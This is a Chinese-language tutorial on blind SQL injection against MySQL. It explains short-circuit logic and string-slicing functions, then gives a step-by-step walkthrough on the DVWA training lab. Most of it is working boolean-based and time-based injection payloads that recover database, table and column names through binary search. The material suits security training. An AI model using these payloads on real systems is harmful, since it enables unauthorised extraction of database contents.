盲注的本质是猜解,所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断。
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
在进行盲注学习之前,你首先要知道的是盲注的基本原理
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。
(1)and 0 的短路特性
mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)
mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)
这个怎么看,实际上 一个 and 连接的是两个集合,and 表示取集合的交集,我么知道0 和任何集合的交集都是 0 ,那么系统就不会继续向下执行 sleep(),那么为什么第一条语句没有返回任何东西呢?因为 id =1 的结果和 sleep(1) 的交集为空集。
(2)or 1 的短路特性
mysql> select * from bsqli where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
| 2 | L_Team | 234567 |
+----+--------+----------+
2 rows in set (0.00 sec)
mysql> select * from bsqli where id = 1 or 0 or sleep(1);
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (1.00 sec)
和上面类似 or 取得是两个集合的并集,系统检测到 or 1 的时候就不会继续检测,所以 sleep() 也就不会运行。
参考文章
三大法宝:mid(), substr(), left()
mid()函数
此函数为截取字符串一部分。MID(column_name,start[,length])
Eg: str=“123456” mid(str,2,1) 结果为2
Sql用例:
(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
Sql用例:
(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) string为要截取的字符串,n为长度。
Sql用例:
(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句。
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
5.实战
参考文章
Low Security Level:
0 ) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
payload:
1
1'
1' or 1=1#
1' or 1=2#
判断为盲注之后,进行数据库猜解:
1' and length(database())=4 #
或者
输入1' and length(database())=1#,显示User ID is MISSING from the database.
输入1' and length(database())=2#,显示User ID is MISSING from the database.
输入1' and length(database())=3#,显示User ID is MISSING from the database.
输入1' and length(database())=4#,显示User ID exists in the database.
说明数据库名长度为4.
数据库名:
输入1' and ascii(substr(database(),1,1))>97#,显示User ID exists in the database.,说明第一个字符的ascii值大于97(a)
输入1' and ascii(substr(database(),1,1))<122#,显示User ID exists in the database.,说明第一个字符的ascii值小于122(z)
输入1' and ascii(substr(database(),1,1))<110#,显示User ID exists in the database.,说明第一个字符的ascii值小于110(n)
输入1' and ascii(substr(database(),1,1))<104#,显示User ID exists in the database.,说明第一个字符的ascii值小于104(h)
输入1' and ascii(substr(database(),1,1))<100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不小于100(d)
输入1' and ascii(substr(database(),1,1))>100#,显示User ID is MISSING from the database.
,说明第一个字符的ascii值不大于100(d)
输入1' and ascii(substr(database(),1,1))=100#,显示User ID exists in the database.
,说明第一个字符的ascii值等于100(d)
根据上述二分法最终得到数据库名为dvwa。
其他数据可同样根据上述方法进行得到。
参考文章
如此类推:
1.猜数据库名
1' and ascii(substr(database(),1,1))>97# 页面返回存在
2.猜表名
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在
得知有 2 个表,继续使用length()函数来猜测表的长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在(解释一下limit:LIMIT后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少。)
......
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
说明第一个表名长度为 9
关于limit的解释
继续猜表的名称
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
表示取第一个table_name 作为string
substr(string,1,1) 表示取第一个字母
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
.
.
.
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的名字的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名guestbook、users。
猜解表中的字段名
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users表有 8 个字段
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明users表的第一个字段为 7 个字符长度。
采用二分法,即可猜解出所有字段名。
1.判断是否存在注入,注入是字符型还是数字型
1' and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;
说明存在字符型的基于时间的盲注。(这里注意要加上#符号)
2.猜解当前数据库名
首先猜解数据名的长度:
1' and if(length(database())=1,sleep(5),1) # 没有延迟
1' and if(length(database())=2,sleep(5),1) # 没有延迟
1' and if(length(database())=3,sleep(5),1) # 没有延迟
1' and if(length(database())=4,sleep(5),1) # 明显延迟
说明数据库名长度为 4 个字符。
这里补充解释一下MySQL的if语句:
if(expr1,expr2,expr3)
如果 expr1 是TRUE,则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值,具体情况视其所在语境而定。
接着采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
重复上述步骤,即可猜解出数据库名。
3.猜解数据库中的表名
首先猜解数据库中表的数量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟
说明数据库中有两个表。
接着挨个猜解表名:
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟
说明第一个表名的长度为 9 个字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的数量:
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟
说明users表中有 8 个字段。
接着挨个猜解字段名:
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟
说明users表的第一个字段长度为 7 个字符。
采用二分法即可猜解出各个字段名。
5.猜解数据
同样采用二分法。